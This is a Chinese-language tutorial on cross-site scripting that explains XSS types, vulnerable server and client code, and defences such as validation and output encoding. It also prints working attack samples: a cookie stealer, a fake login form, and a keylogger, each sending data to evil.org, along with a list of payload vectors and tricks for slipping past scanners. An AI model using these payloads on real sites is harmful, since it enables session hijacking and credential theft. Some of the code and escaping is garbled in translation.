目录
- 定义
- 跨站点脚本的工作原理
- 进行攻击以感染网站
- 受感染的网站攻击用户
- 统计和分析
- 跨站点脚本攻击的类型
- 反射式(非持久性)XSS
- 反射式(非持久性)XSS 示例
- 存储(持久)XSS
- 存储(持久)XSS 的示例
- 基于 DOM 的攻击
- 基于 DOM 的攻击示例
- 跨站点脚本 (XSS) 示例
- 1. 会话劫持
- 2. 冒充当前用户
- 3. 网络钓鱼攻击
- 4.捕获击键
- XSS 攻击的后果是什么?
- XSS 漏洞的风险级别
- 漏洞示例
- 检测和测试 XSS
- 最常见的攻击媒介
- XSS 攻击预防和缓解
- 强制输入相同的数据类型
- 输入验证
- 输出清理
- 常见问题
- 什么是 XSS 有效负载?
- 什么是 XSS 过滤?
- 什么是 XSS 多语言?
- XSS有哪些危险?
- XSS和SQL注入有什么区别?
- XSS和CSRF有什么区别?
- XSS和XSSI有什么区别?
定义
跨站点脚本(通常缩写为 XSS)是一种攻击类型,其中恶意脚本被注入网站和 Web 应用程序中,以便在最终用户的设备上运行。在此过程中,未经审查或未经验证的输入(用户输入的数据)用于更改输出。
一些XSS攻击没有特定的目标;攻击者只是利用应用程序或站点中的漏洞,利用任何不幸成为受害者的人。但在许多情况下,XSS 是以更直接的方式执行的,例如在电子邮件中。XSS 攻击可以将 Web 应用程序或网站变成向毫无戒心的受害者的 Web 浏览器传递恶意脚本的载体。
XSS攻击可以利用一系列编程环境中的漏洞,包括VBScript,Flash,ActiveX和JavaScript。大多数情况下,XSS以JavaScript为目标,因为该语言与大多数浏览器紧密集成。这种利用常用平台的能力使XSS攻击既危险又常见。
跨站点脚本的工作原理
有了什么是跨站点脚本攻击的想法,让我们看看它是如何工作的。
想象一个人坐在电脑前。屏幕在右下角显示文件管理器、文本编辑器、电子表格和音乐播放器图标。到目前为止,一切都是普通和熟悉的。但是这张照片中缺少一些东西 - 一个同时打开数十个选项卡的互联网浏览器。
这些标签充满了有趣的标题、有趣的视频、体育用品广告、在线商店和一个支付网站,其中包含一张刚刚支付的超速罚单收据。所有这些网站都有一个共同点:如果没有JavaScript,它们几乎是不可能的。
然后,只需单击广告横幅即可触发另一个页面。该页面包含一个脚本,该脚本连接到网上银行站点,并悄悄地将资金从用户帐户转移到攻击者的卡上。委婉地说,相当不愉快。幸运的是,由于同源策略(SOP),浏览器消除了这种可能性。此策略可确保在网页上执行的脚本无法访问错误的数据。如果脚本是从其他域加载的,浏览器将无法运行它们。
这能保证一个幸福的结局吗?
如果是这样,这篇文章就不会存在。网络犯罪分子使用各种方法来绕过 SOP 并利用应用程序漏洞。成功后,它们使用户的浏览器在给定页面上执行任意脚本。
进行攻击以感染网站
源策略应该仅在脚本从与用户当前正在查看的页面相同的域加载脚本时才允许脚本。实际上,攻击者无法直接访问负责浏览器显示页面的服务器。那么攻击者是如何做到的呢?
应用程序漏洞可以通过使攻击者能够在页面内容中嵌入片段和恶意代码来帮助攻击者。
例如,典型的搜索引擎在显示搜索结果时会回显用户的查询。如果用户尝试查找字符串<script>alert(1)</script>
该怎么办?搜索结果页的内容是否会导致执行此脚本,是否会出现消息“1”的对话框?这取决于 Web 应用程序开发人员验证用户输入并将其转换为安全格式的程度。
主要困难在于用户运行各种各样的浏览器版本,从最新的 pre-alpha 版本到不再受支持的版本。每个浏览器处理网页的方式略有不同。在某些情况下,当输入未被充分过滤时,XSS 攻击可能会非常成功。因此,XSS攻击的第一步是确定如何在网页上嵌入用户数据。
受感染的网站攻击用户
第二步是攻击者诱使用户访问特定页面。攻击者还需要将攻击向量传递到页面。再说一遍,这里没有任何内容构成严重障碍。网站通常接受数据作为 URL 的一部分。为了实施攻击媒介,攻击者可以使用各种社会工程或网络钓鱼方法。
以下示例代码在服务器的响应中仅显示这样的字符串(由用户在 HTTP 请求中传递):
protected void doGet(HttpServletRequest request, HttpServletResponse resp) {String firstName = request.getParameter("firstName");resp.getWriter().append("<div>");resp.getWriter().append("Search for " + firstName);resp.getWriter().append("</div>");
}
该代码处理在用户请求中传递的第一个 URL 参数的值。然后,它会在生成的网页上显示参数。开发人员似乎不希望在 firstName 参数中看到没有 HTML 标记的纯文本以外的任何内容。如果攻击者发送请求“http://very.good.site/search?firstName= ”,则最终页面将如下所示:
<div>Search for <script>alert(1)</script>
</div>
您可以轻松检查,当此 HTML 片段加载到用户浏览器中的网页上时,是否执行了在 firstName URL 参数中传递的脚本。在这种情况下,恶意 JavaScript 是在易受攻击的服务器的上下文中执行的。因此,脚本可以访问域的 Cookie 数据、其 API 等。当然,攻击者会以一种隐藏他们在用户查看页面上存在的方式开发实际载体。
统计和分析
根据Positive Technologies的分析,XSS是三种最常见的Web应用程序攻击之一。与其他攻击类型相比,XSS的相对百分比在前几年有所下降。尽管如此,XSS仍然没有失去人气的迹象。
为什么XSS仍然在列表的顶部附近?考虑易受攻击的网站数量。正如我们在 2019 年报告中详述的那样,超过三分之二的测试网站存在 XSS 漏洞。
XSS最常针对的行业是酒店和娱乐(33%),金融(29%),教育和科学(29%)以及运输(26%)。IT(16%)和政府(16%)也受到影响,但程度不同
跨站点脚本攻击的类型
大多数XSS攻击可以分为三类:
-
反射(非持久)。攻击媒介的载体是当前客户端 HTTP 请求。服务器返回包含攻击媒介的响应。本质上,服务器反映了攻击。
-
存储(持久)。攻击媒介位于服务器端。(我们将在本文后面讨论它是如何到达那里的。
-
基于 DOM 的 XSS(文档对象模型)。攻击媒介位于客户端。利用主要是由于JavaScript代码内部数据处理的缺陷。
还存在一些其他类别,尽管它们不那么频繁地出现。它们包括:
-
基于闪存的 XSS。此漏洞来自 Flash 应用程序中对用户输入的处理不足。
-
XSSI.托管在外部域和服务器上的资源容易受到攻击。
浏览器漏洞也可能导致 XSS 风险,例如: -
uXSS(通用XSS)。此漏洞允许绕过 SOP 从一个站点在另一个站点上执行 JavaScript。
-
mXSS(Mutation XSS)。攻击者通过将带有“JavaScript ([element] .innerHTML =% value%”或“document.write (% value%))”的 HTML 有效负载放入 DOM 来绕过过滤,以便将其从安全更改为潜在危险。
反射式(非持久性)XSS
在反射式 XSS 中,攻击媒介位于服务器处理的 HTTP 客户端请求内。如果服务器的请求和响应在语义上相关,则服务器的响应由请求数据形成。例如,请求可以是搜索查询,响应可能是结果页。
如果服务器在处理 HTML 转义序列方面做得不好,则会出现反射 XSS。在这种情况下,服务器端显示的页面将导致 JavaScript 在服务器的上下文中执行,这是原始攻击媒介的一部分。
反射式(非持久性)XSS 示例
下面是代码易受攻击的代码 below.to 反射 XSS 的示例:
protected void info(HttpServletResponse resp, String info) {resp.getWriter().append("<h4>Info</h4>");resp.getWriter().append(info);
}
存储(持久)XSS
当攻击媒介包含用户请求中未提供的 JavaScript 时,会发生此类应用程序漏洞。相反,JavaScript 代码是从服务器(如数据库或文件系统)下载的。
应用程序可能允许您保存来自不受信任源的数据,然后使用此数据生成对客户端请求的服务器响应。再加上对HTML转义序列的处理不力,这为存储的XSS攻击提供了机会。
想象一个人们定期交流的在线论坛。如果应用程序易受攻击,攻击者可以发布包含嵌入式 JavaScript 的消息。该消息将保存在系统数据库中。之后,有问题的脚本将由阅读攻击者发布的消息的所有用户执行。
存储(持久)XSS 的示例
利用存储的 XSS 漏洞的代码示例:
protected void doGet(HttpServletRequest rq, HttpServletResponse resp) {String name = rq.getParameter("NAME");StringBuffer res = new StringBuffer();String query = "SELECT fullname FROM emp WHERE name = '" + name + "'";ResultSet rs = DB.createStatement().executeQuery(query);res.append("<table class=\"table\"><tr><th>Employee</th></tr>");while (rs.next()) {res.append("<tr><td>");res.append(rs.getString("fullname"));res.append("</td></tr>");}res.append("</table>");resp.getWriter().append(res.toString());
}
在这里,从数据库中读取数据,并在没有客户端验证的情况下传递结果。如果存储在数据库中的数据包含 HTML 转义序列(包括 JavaScript),则数据将传递到客户端并由浏览器在 Web 应用程序的上下文中执行。
基于 DOM 的攻击
上面描述的两种类型的XSS漏洞有一些共同点:嵌入JavaScript的网页是在服务器端形成的。但是,现代 Web 应用程序中使用的客户端框架允许在不访问服务器的情况下更改网页。可以直接在客户端修改文档对象模型。
此漏洞背后的主要前提保持不变:具体而言,HTML 转义序列的处理实现不佳。这导致攻击者控制的JavaScript出现在网页的文本中。然后在服务器上下文中执行此代码。
基于 DOM 的攻击示例
以下是利用此类漏洞的代码:
<div id="message-text">This is a warning alert</div>
HTML 代码有一个带有“消息文本”标识符的元素,这意味着它用于显示消息的文本。然后由以下 JavaScript 函数修改 DOM 树:
function warning(message) {$("#message-text").html(message);$("#message").prop('style', 'display:inherit');
}
该脚本使用 html() 函数显示消息,该函数不会清理 HTML 转义序列。因此,这样的实现是脆弱的。例如,可以将以下内容传递给此函数:
<script>alert("xss")</script>
在这种情况下,脚本将在服务器上下文中执行。
跨站点脚本 (XSS) 示例
在我们讨论具体的例子之前,我们还应该指出一个重要的区别。一些XSS攻击旨在仅获取一次信息。在这些情况下,受害计算机执行恶意脚本并将被盗信息发送到攻击者控制的服务器。
但是,其他攻击侧重于通过以下方式重复利用:
劫持用户会话并登录帐户以收集信息。
网络钓鱼并使用用户名和密码登录帐户。
更改受害者的密码。当应用程序允许更改或重置密码而无需输入旧密码(或一次性代码)时,这是可能的。
当受害者有权创建新的特权用户时。
植入 JavaScript 后门。为此,受害者需要有权编辑页面内容。如果受害者具有必要的权限,这也可能涉及在经常访问的页面上存储 XSS。
利用受害者权利的应用程序攻击针对WordPress(通过管理面板中的模板/插件编辑器远程执行代码[RCE])和Joomla(通过下载任意文件进行RCE)。
正如我们所看到的,XSS允许在易受攻击的Web应用程序的上下文中执行JavaScript。但与SQLi,XXE,AFR等不同,JavaScript脚本是在最终用户的Web浏览器中执行的。XSS 攻击的主要目标是访问用户的资源。让我们看一下此类攻击的几个示例。
1. 会话劫持
想象一下以下场景。用户打开浏览器并转到网上银行页面。系统会提示用户使用其用户名和密码登录。显然,用户的后续操作应被视为合法。但是,如何在不要求用户在每次点击后登录的情况下验证这种合法性呢?
幸运的是,对于用户来说,有一种方法可以做到这一点。身份验证成功后,服务器将生成一个字符串,用于唯一标识当前用户会话。此字符串以 cookie 数据的形式在响应标头中传递。以下屏幕截图显示了服务器响应的示例,其中会话 cookie 称为 JSESSIONID:
在随后访问服务器时,cookie 数据将自动包含在请求中。服务器将使用这些数据来确定请求是否来自合法用户。当然,会话 cookie 的安全性变得至关重要。任何对此信息的拦截都将使冒充合法用户成为可能。
将会话 Cookie 数据传输给攻击者的经典方法之一是将 HTTP 请求从用户的 Web 浏览器发送到攻击者控制的服务器。在这种情况下,请求由嵌入在易受攻击的网页上的 JavaScript 生成。然后,Cookie 数据将在此请求的参数中传输。攻击媒介的一个示例如下:
<script>new Image().src="http://evil.org/do?data="+document.cookie;</script>
在此示例中,用户的 Web 浏览器在 DOM 模型中创建一个图像对象。之后,它会尝试从 src 标记中指定的地址加载图像。然后,浏览器使用相应的 HTTP 请求处理程序将 cookie 数据发送到攻击者的站点:
@GetMapping(value = "/do", produces = MediaType.IMAGE_PNG_VALUE)
public @ResponseBody byte[] getImage(@RequestParam(name = "data") String data) throws IOException {log.info("Document.cookie = {}", data);InputStream in = getClass().getResourceAsStream("/images/1x1.png");return IOUtils.toByteArray(in);
}
在这种情况下,攻击者只需侦听传入连接,或者配置事件日志并从日志文件中获取 cookie 数据(稍后将对此进行更详细的描述)。
稍后,攻击者可以在自己的请求中使用会话 Cookie 数据来模拟用户。
2. 冒充当前用户
JavaScript是一种非常有能力的编程语言。攻击者可以将这些功能与 XSS 漏洞同时用作攻击媒介的一部分。因此,XSS不仅仅是获取关键用户数据的一种方式,它也可以是一种直接从用户浏览器进行攻击的方法。
例如,XMLHttpRequest 对象用于生成对 Web 应用程序资源的 HTTP 请求。此类请求可能包括通过 POST 请求生成和提交 HTML 表单,这些请求是自动的,通常不可见。这些请求可用于发送评论或进行财务交易:
<script>var req = new XMLHttpRequest();req.open('POST','http://bank.org/transfer',true);req.setRequestHeader('Content-type','application/x-www-form-urlencoded');req.send('from=A&to=B&amount=1000');
</script>
通过利用此攻击媒介的 XSS 漏洞,恶意行为者可以将任何指定金额的资金转移到他们的帐户。
3. 网络钓鱼攻击
如前所述,XSS 可用于嵌入在网页中修改 DOM 模型的 JavaScript 脚本。这允许攻击者更改网站向用户显示的方式,例如通过创建虚假输入表单。如果易受攻击的 Web 应用程序允许修改 DOM 模型,则攻击者可以使用以下攻击媒介将虚假身份验证表单注入网页:
<h3>Please login to proceed</h3><form action="http://evil.org/login" method="post">Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon">
将显示以下表单然后出现在网页上:
用户在此表单中输入的任何凭据都将作为 POST 请求发送到 evil.org 攻击者网站:
4.捕获击键
利用XSS漏洞的机会不仅限于可执行脚本。如果攻击者拥有互联网服务器,则可以直接从中加载恶意脚本。攻击者可以部署以下脚本来捕获击键:
var buffer = [];
var evilSite = 'http://evil.org/keys?data='document.onkeypress = function(e) {var timestamp = Date.now() | 0;var stroke = {k: e.key,t: timestamp};buffer.push(stroke);
}window.setInterval(function() {if (0 == buffer.length) return;var data = encodeURIComponent(JSON.stringify(buffer));new Image().src = evilSite + data;buffer = [];
}, 600);
此处的脚本实现了一个击键拦截器,该拦截器将相应的字符和时间戳保存到内部缓冲区。它还实现了一个函数,该函数每秒两次将存储在缓冲区中的数据发送到 evil.org 攻击者服务器。
为了将此键盘记录器脚本嵌入目标网页,参与者可以使用以下攻击媒介:
<script src="http://evil.org/js?name=keystrokes">
漏洞利用触发后,用户在网页上的击键将被重定向到攻击者服务器:
屏幕截图显示了攻击者服务器上事件日志中的条目。在此示例中,用户在键盘上键入了“James”。这些记录显示以 JSON 格式显示的击键:字段“k”包含一个字符,字段“t”包含相应的时间戳
XSS 攻击的后果是什么?
从这些示例和攻击媒介中可以清楚地看出,对易受攻击的Web应用程序的成功XSS攻击为攻击者提供了非常强大的工具。借助 XSS,攻击者能够:
- 读取任何数据并通过模拟用户执行任意操作。此类行为可能包括在社交媒体上发帖或进行银行交易。
- 拦截用户输入。
- 污损网页。
- 将恶意代码注入网页。此类功能可能会让人联想到特洛伊木马,包括用于输入凭据或支付在线订单的虚假表单。
还可以利用跨站点脚本攻击以更间接的方式获得经济利益。例如,严重的XSS攻击可用于嵌入广告信息或通过DOM修改操纵互联网评级。
XSS 漏洞的风险级别
影响通常取决于 XSS 漏洞的类型(例如,存储或反映)、实现难度以及是否需要身份验证(可能不是每个人都可以访问相关页面)。
其他因素包括用户需要执行哪些其他操作(如果有);攻击是否可靠触发;以及潜在攻击者究竟可以获得什么。如果站点不包含私人信息(因为用户之间没有身份验证或区别),则影响很小。
Positive Technologies Security Threatscape将XSS分为三类:
- 低。需要授权的路由器或其他本地设备上的漏洞。这里的XSS需要特权用户权限,或者粗略地说,自XSS。由于攻击的难度相对较高,因此产生的影响很小。
- 中。在这里,我们指的是所有需要访问某个页面(社会工程)的反射和存储的XSS攻击。这更关键,影响更大,因为存储的XSS更容易被攻击者使用。但是由于用户仍然必须首先登录,因此关键性没有那么高。
- 高。在这种情况下,用户独立访问包含恶意脚本的页面。一些示例是个人消息、博客评论或登录后立即出现的管理面板中的 XSS(通过用户名在用户列表中或通过用户代理在日志中)。
网站可能存储了 XSS,从而导致高影响。但是,如果您需要一定级别的访问权限才能访问该站点,则影响将降低到“中”。
同样重要的是要提到,无论如何,影响取决于作者对关键性的评估——研究人员有自己的观点。XSS 漏洞的严重性可能很高,但通常它们的分数低于其他类型的攻击。
漏洞示例
以下示例来自 Positive Research 或 Positive Technologies 安全产品(如 MaxPatrol 和 PT Application Inspector)的自动检测。严重性级别是截至漏洞发布日期有效的级别。
- 研华网络访问: CVE-2015-3948
- 严重性级别:低
- 研华8.1之前的WebAccess版本允许通过经过身份验证的用户远程注入任意Web脚本或HTML。因此,攻击者可以获得敏感信息。
- SAP NetWeaver Development Infrastructure Cockpit: CVE:未分配
- 严重性级别:中
- 在SAP NetWeaver Development Infrastructure Cockpit的nwdicockpit/srv/data/userprefs组件中检测到一个漏洞,通过该漏洞可以将恶意代码注入受害者的浏览器并执行。
- Wonderware Information Server: CVE-2013-0688
- 严重性级别:高
- Wonderware Information Server 中存在一个漏洞,使得攻击者能够将任意代码注入其他用户查看的网页中,或绕过 Web 浏览器中的客户端安全性。攻击可以远程发起,无需身份验证即可成功利用。
检测和测试 XSS
测试您自己的应用程序或您拥有源代码的应用程序的最佳方法是结合手动和自动技术。静态代码分析应该能够检测到许多 XSS 漏洞。
检测效果在很大程度上取决于扫描仪。不同的扫描仪在载体和技术上有所不同,因此有些扫描仪比其他扫描仪更可靠,但没有一个是完美的。例如,手动测试人员有可能找到黑盒扫描仪遗漏的问题。如果 想要 提高 自动 化 测试 覆盖 率, 可以 实现 灰 盒 / 白 盒 解决 方案 来 适应 黑 盒 方法。
要记住的另一个危险是误报的可能性。结合技术和工具将改善结果,但某些问题仍然需要手动工作来识别。
任何XSS漏洞分析器都需要JavaScript和HTML输入。如果解析器无法识别页面任何部分中的 JavaScript 代码,则此代码将无法正确传递给分析器。这意味着通过欺骗解析器,可以成功进行完全绕过扫描程序的XSS攻击。
Acorn 解析器无法识别的特定代码如下所示。
标记属性注入 :
<img bar=“entry”> 其中 entry 等于 ><svg/onload='alert(1)'onLoad=“alert(1);//
函数注入:
<body onload=“think.oob(entry)”>其中 entry 等于 )}。{0:promt(1
在这两种情况下,程序都没有在代码中发现潜在的XSS漏洞。我们可以得出结论,手动测试可能是最有效的方法——只要你知道自己在做什么。
测试不仅限于将“”注入文本框。试错是不可避免的。但是,如果您注入代码,检查生成的HTML页面,并查看更改向量后会发生什么,则肯定会找到一些东西。
您可以通过遵循类似的模式来覆盖许多潜在的攻击媒介:
1.首先寻找没有特殊字符过滤的地方(> <“’)。BurpSuite或Acunetix可以自动执行此过程。自动验证后,请确保手动检查对任何形式的文本输入的过滤。
-
下一步是分析项目的 JavaScript 代码。BlueClosure可以自动测试整个前端。消除可自动发现的漏洞后,请特别注意应用程序显示用户输入的位置以及传递到服务器的位置(随后保存到数据库)。
-
然后不仅要考虑 JavaScript 代码,还要考虑整个系统的所有部分。例如,某些元素涉及将用户输入数据转换为链接或其他超文本元素。在用户配置文件的网站字段中嵌入像“javascript: alert (1)”这样的链接是成功攻击中非常常见的媒介。任何将文本转换为 HTML 的解析器都可能为恶意代码打开大门。
特别注意以下要素:
- Markdown 编辑器,允许用户向论坛帖子添加自定义 HTML 标记(包括恶意 JavaScript)
- 文本到表情符号转换器,可以被诱骗产生受感染的元素
- 将文本转换为链接的 URL 和电子邮件转换器
- 文本到图片转换器以及设置托管在第三方资源上的个人资料图片的能力
最常见的攻击媒介
为了更好地了解XSS漏洞,让我们分析每个主要的威胁媒介。
这是一个相对简单的XSS脚本。它可以作为外部脚本引用(外部有效负载)放置,也可以嵌入到脚本标记本身中。
<script>
标签
<!-- External script -->
<script src=http://evil.com/xss.js></script>
<!-- Embedded script -->
<script> alert("XSS"); </script>
JavaScript 事件
另一个常用的向量是加载/错误事件。这些嵌入在许多不同的标签中。
<!-- onload attribute in the <body> tag -->
<body onload=alert("XSS")>
<body>
标签
攻击可以通过 JavaScript 事件(如前所述)或类似利用的标记属性在 <body>
标记内传递。
<!-- background attribute -->
<body background="javascript:alert("XSS")">
<img>
标记
浏览器还可以运行与 <img>
标签关联的 JavaScript 代码。
<!-- <img> tag XSS -->
<img src="javascript:alert("XSS");">
tag XSS using lesser-known attributes -->
<img dynsrc="javascript:alert('XSS')">
<img lowsrc="javascript:alert('XSS')">
<input>
标签
如果 <input>
标记的类型属性中包含“image”,则可以对其进行操作。
<!-- <input> tag XSS -->
<input type="image" src="javascript:alert('XSS');">
<div>
标签
<div>
标签支持嵌入式脚本,攻击者可以利用这些脚本。
<!-- <div> tag XSS -->
<div style="background-image: url(javascript:alert('XSS'))">
<!-- <div> tag XSS -->
<div style="width: expression(alert('XSS'));">
XSS 攻击预防和缓解
从技术角度来看,XSS是一个注入类漏洞,攻击者在浏览器中操纵Web应用程序的逻辑。因此,为了防止此类漏洞,需要彻底检查从外部进入应用程序的任何数据。为此,应用程序必须实现许多方法,我们在此处进行了介绍。
强制输入相同的数据类型
用户输入最初以字符串形式呈现。此数据应转换为指定类型的对象。此功能通常在框架级别实现,以便操作对用户透明。在以下 Java 代码中发生了这样一个透明的过程:
@GetMapping(value = "/result")
public void getJobResult(@RequestParam(name = "scan-id") Integer scanId,@RequestParam(name = "artifact") String artifact,HttpServletResponse response) throws ServiceUnavailableException {// Real controller code skipped
此示例显示 HTTP GET 请求处理程序的声明。它可以通过相对路径“/result”访问,并将两个必需的参数作为输入:整数扫描 id 和字符串工件。在请求的初始处理期间,框架执行确定输入正确性所需的操作。
如果类型不匹配,请求方甚至在控制权转移到应用程序代码之前就会看到错误消息。例如,如果 scan-id 参数包含非数字值,就会发生这种情况。
输入验证
在验证期间,将根据语法和语义标准检查输入数据。例如,可以使用正则表达式“1{4}$”检查用户的出生年份的语法。此表达式验证字符串是否确实由四个(且仅四个)数字组成。一旦字符串被转换为数字,我们就需要检查语义:出生年份不应该是 1000 或 9876。
应用允许列表和阻止列表验证也很有意义。对于阻止列表,您需要定义某些不应在输入数据中找到的模式。
但是,阻止列表方法有许多严重的缺点。模式往往是不必要的复杂,很快就会过时。创建模式以涵盖恶意数据的所有可能排列绝非易事。开发人员将不可避免地发现自己难以赶上攻击者。这就是为什么应用允许列表来定义输入数据必须遵守的规则更有效的原因。
输出清理
无论前两种技术实现得如何(或未实现),防止XSS的关键操作是检查和转换输出数据。确保不受信任的数据不能传递到 HTML 文档非常重要。例外情况是数据仍需要遵循某些规则的某些上下文。这些规则必须确保 Web 浏览器将输出视为数据,而不是代码。这些上下文包括:
上下文 | 方法/属性 |
---|---|
HTML 元素的内容 | <div>userData</div> |
HTML元素的值属性 | <input value="userDate"> |
JavaScrip中的值 | var name=“userData”; |
网址请求参数的值 | http://site.org/?param=userData |
css中的值 | color:userData |
对于上述每种情况,您都应该应用单独的验证和转换规则。对于 HTML 元素的内容(例如 <div>
、<p>
、<b>
、<td>
和类似标记),XML 和 HTML 特殊字符应替换为安全变体。将“&”改为“&”,将“<”改为“<”,将“>”改为“>”,将双引号改为“”“,将单引号改为”'“。
可以关闭 HTML 标记的“/”字符替换为“/”。例如,当在服务器端使用来自Apache Commons Text库中的StringEscapeUtils.escapeHtml4函数时,用户输入的数据是安全的,如下所示:
String data = "<script>alert(1)</script>";
转换的结果将是字符串“alert(1)
”,浏览器不会将其解析为 HTML 转义序列。
LibProtection 库允许自动确定上下文和清理数据。此外,当输入数据包含攻击媒介时,该库可以发出信号。
例如,以下代码片段包含可以嵌入用户数据的三个点:
- HTML 元素的值属性 (a)
- JavaScript 参数的值 (b)
- HTML 元素的内容 (c)
Response.Write($"<a href='{a}' οnclick='alert("{b}");return false'>{c}</a>");
假设攻击者已将以下变量作为输入传递:
a = 'οnmοuseοver='alert(`XSS`)
b = ");alert(`XSS`)
c = <script>alert(`XSS`)</script>
如果我们不检查输入,响应将如下所示:
<a href=''onmouseover='alert(`XSS`)' onclick='alert("");alert(`XSS`)");return false'><script>alert(`XSS`)</script></a>
因此,攻击者可以通过三种不同的方式执行 XSS 攻击。LibProtection 以对开发人员透明的方式转换数据、确定上下文和应用规则:
Response.Write(SafeString.Format<Html>($"<a href='{a}' οnclick='alert("{b}");return false'>{c}</a>"));
生成的字符串将转换为:
<a href='%27onmouseover%3d%27alert(%60XSS%60)' onclick='alert("\");alert(`XSS`)");return false'><script>alert(`XSS`)</script></a>
LibProtection 支持 C#、Java 和 C++,并允许清理输入以抵御其他类型的攻击。此保护扩展到基于 URL 和路径目录处理不当的 SQL 注入和漏洞。
常见问题
什么是 XSS 有效负载?
有效负载是用于利用漏洞的攻击媒介。如果代码中存在漏洞,攻击者发送的输入数据可能会被应用程序错误地用于修改应用程序的逻辑。在 XSS 的情况下,有效负载包含攻击者用来修改客户端浏览器逻辑的 JavaScript 指令。
什么是 XSS 过滤?
XSS 过滤会阻止 XSS 攻击中使用的攻击。在筛选期间,数据将经过检查、标准化(从字符串强制转换为给定类型的对象)以及语法和语义验证。处理完数据后,会对其进行清理并检查其正确性。这可以防止浏览器将输出解释为 JavaScript。
什么是 XSS 多语言?
如清理部分所述,验证输入数据的原则因使用此数据的上下文而异。利用XSS漏洞的攻击媒介也是在考虑此上下文的情况下形成的。XSS 多语言是一种复杂的攻击媒介,旨在同时在多个上下文中使用,例如在 URL、HTML 元素的内容和 JavaScript 中。
XSS有哪些危险?
XSS的主要危险在于它可以授予恶意参与者与目标几乎相同的功能。XSS 如果成功,则允许在 Web 应用程序中执行用户可用的所有操作。其中包括执行金融交易和发送消息。XSS 可用于捕获用户键盘上的击键并将其传输给攻击者。这为恶意行为者提供了充足的后续攻击机会。
XSS和SQL注入有什么区别?
主要区别在于 XSS 中的目标是最终用户,而 SQL 注入修改了服务器端数据库查询的逻辑。
XSS和CSRF有什么区别?
跨站点请求伪造 (CSRF) 是一种攻击,其中恶意参与者旨在在客户端执行特定的 URL 请求。这可能意味着更改密码或执行事务。但是,随着XSS的成功利用,攻击者可以通过执行任意客户端JavaScript脚本来做更多的事情。由于攻击者可以在执行请求时模拟客户端,因此 XSS 具有更大的危害可能性。
XSS和XSSI有什么区别?
XSSI 漏洞利用同源策略,该策略确定位于不同源上的文档、资源和脚本是否可以相互交互。此策略完全不限制脚本的使用;攻击者的网页可以链接到受害者网站上的脚本。在这种情况下,此脚本可能是动态生成的并存储关键信息。当用户访问攻击者的站点时,攻击者可以使用此信息。
求关注 求关注 求关注 求关注
0-9 ↩︎